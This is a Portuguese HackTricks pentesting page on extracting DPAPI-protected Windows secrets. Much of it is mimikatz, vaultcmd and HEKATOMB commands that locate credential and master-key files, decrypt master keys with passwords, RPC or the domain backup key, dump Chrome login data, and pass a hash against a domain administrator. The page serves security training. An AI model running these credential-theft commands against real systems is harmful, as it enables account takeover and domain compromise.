# DPAPI - Extraindo Senhas
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
Ao criar esta postagem, o mimikatz estava tendo problemas com todas as ações que interagiam com o DPAPI, portanto, **a maioria dos exemplos e imagens foram retirados de**: [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
## O que é DPAPI
Seu uso principal no sistema operacional Windows é **realizar criptografia simétrica de chaves privadas assimétricas**, usando um segredo do usuário ou do sistema como uma contribuição significativa de entropia.\
**O DPAPI permite que os desenvolvedores criptografem chaves usando uma chave simétrica derivada dos segredos de logon do usuário**, ou no caso de criptografia do sistema, usando os segredos de autenticação do domínio do sistema.
Isso torna muito fácil para o desenvolvedor **salvar dados criptografados** no computador **sem** precisar **se preocupar** em **proteger** a **chave de criptografia**.
### O que o DPAPI protege?
O DPAPI é utilizado para proteger os seguintes dados pessoais:
* Senhas e dados de preenchimento automático de formulários no Internet Explorer, Google \*Chrome
* Senhas de contas de e-mail no Outlook, Windows Mail, Windows Mail, etc.
* Senhas de contas de gerenciador FTP interno
* Senhas de acesso a pastas e recursos compartilhados
* Chaves e senhas de contas de rede sem fio
* Chave de criptografia no Windows CardSpace e Windows Vault
* Senhas de conexão de desktop remoto, .NET Passport
* Chaves privadas para o Sistema de Arquivos Criptografados (EFS), criptografia de correio S-MIME, certificados de outros usuários, SSL/TLS no Serviços de Informações da Internet
* EAP/TLS e 802.1x (autenticação VPN e WiFi)
* Senhas de rede no Gerenciador de Credenciais
* Dados pessoais em qualquer aplicativo protegido programaticamente com a função de API CryptProtectData. Por exemplo, no Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk etc.
* ...
{% hint style="info" %}
Um exemplo de uma maneira bem-sucedida e inteligente de proteger dados usando DPAPI é a implementação do algoritmo de criptografia de senha de preenchimento automático no Internet Explorer. Para criptografar o login e a senha para uma determinada página da web, ele chama a função CryptProtectData, onde no parâmetro de entropia opcional ele especifica o endereço da página da web. Assim, a menos que se saiba a URL original onde a senha foi inserida, ninguém, nem mesmo o próprio Internet Explorer, pode descriptografar esses dados de volta.
{% endhint %}
## List Vault
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
```
## Arquivos de Credenciais
Os **arquivos de credenciais protegidos pela senha mestra** podem estar localizados em:
```
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
Obtenha informações de credenciais usando o mimikatz `dpapi::cred`, na resposta você pode encontrar informações interessantes, como os dados criptografados e o guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
```
Você pode usar o módulo **mimikatz** `dpapi::cred` com o `/masterkey` apropriado para descriptografar:
```
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:
```
## Chaves Mestras
As chaves DPAPI usadas para criptografar as chaves RSA do usuário são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde {SID} é o [**Identificador de Segurança**](https://en.wikipedia.org/wiki/Security\_Identifier) **daquele usuário**. **A chave DPAPI é armazenada no mesmo arquivo que a chave mestra que protege as chaves privadas do usuário**. Geralmente, é um dado aleatório de 64 bytes. (Observe que este diretório é protegido, portanto, você não pode listá-lo usando `dir` no cmd, mas pode listá-lo no PS).
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
Este é o aspecto que terá um conjunto de Chaves Mestras de um usuário:
![](<../../.gitbook/assets/image (324).png>)
Normalmente, **cada chave mestra é uma chave simétrica criptografada que pode descriptografar outro conteúdo**. Portanto, é interessante **extrair** a **Chave Mestra criptografada** para **descriptografar** posteriormente o **outro conteúdo** criptografado com ela.
### Extrair e descriptografar a chave mestra
Na seção anterior, encontramos o guidMasterKey que parecia ser `3e90dd9e-f901-40a1-b691-84d7f647b8fe`, este arquivo estará dentro:
```
C:\Users\\AppData\Roaming\Microsoft\Protect\
```
Para onde você pode extrair a chave mestra com o mimikatz:
```bash
# If you know the users password
dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
# If you don't have the users password and inside an AD
dpapi::masterkey /in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc
```
A chave mestra do arquivo aparecerá na saída.
Finalmente, você pode usar essa **chave mestra** para **descriptografar** o **arquivo de credenciais**:
```
mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df
```
### Extrair todas as chaves mestras locais com o Administrador
Se você é um administrador, pode obter as chaves mestras dpapi usando:
```
sekurlsa::dpapi
```
### Extrair todas as chaves mestras de backup com o Domain Admin
Um administrador de domínio pode obter as chaves mestras de backup do dpapi que podem ser usadas para descriptografar as chaves criptografadas:
```
lsadump::backupkeys /system:dc01.offense.local /export
```
Usando a chave de backup recuperada, vamos descriptografar a chave mestra do usuário `spotless`:
```bash
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
```
Agora podemos descriptografar os segredos do Chrome do usuário `spotless` usando sua chave mestra descriptografada:
```
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
```
## Criptografando e descriptografando conteúdo
Você pode encontrar um exemplo de como criptografar e descriptografar dados com DPAPI usando mimikatz e C++ em [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)\
Você pode encontrar um exemplo de como criptografar e descriptografar dados com DPAPI usando C# em [https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)
## SharpDPAPI
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) é uma porta C# de algumas funcionalidades DPAPI do projeto [Mimikatz](https://github.com/gentilkiwi/mimikatz/) de [@gentilkiwi](https://twitter.com/gentilkiwi).
## HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automatiza a extração de todos os usuários e computadores do diretório LDAP e a extração da chave de backup do controlador de domínio através do RPC. O script então resolverá todos os endereços IP dos computadores e realizará um smbclient em todos os computadores para recuperar todos os blobs DPAPI de todos os usuários e descriptografar tudo com a chave de backup do domínio.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Com a lista de computadores extraída do LDAP, você pode encontrar todas as sub-redes, mesmo que não as conheça!
"Porque os direitos de administrador de domínio não são suficientes. Hackeie todos eles."
## DonPAPI
[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode despejar segredos protegidos por DPAPI automaticamente.
## Referências
* [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13)
* [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).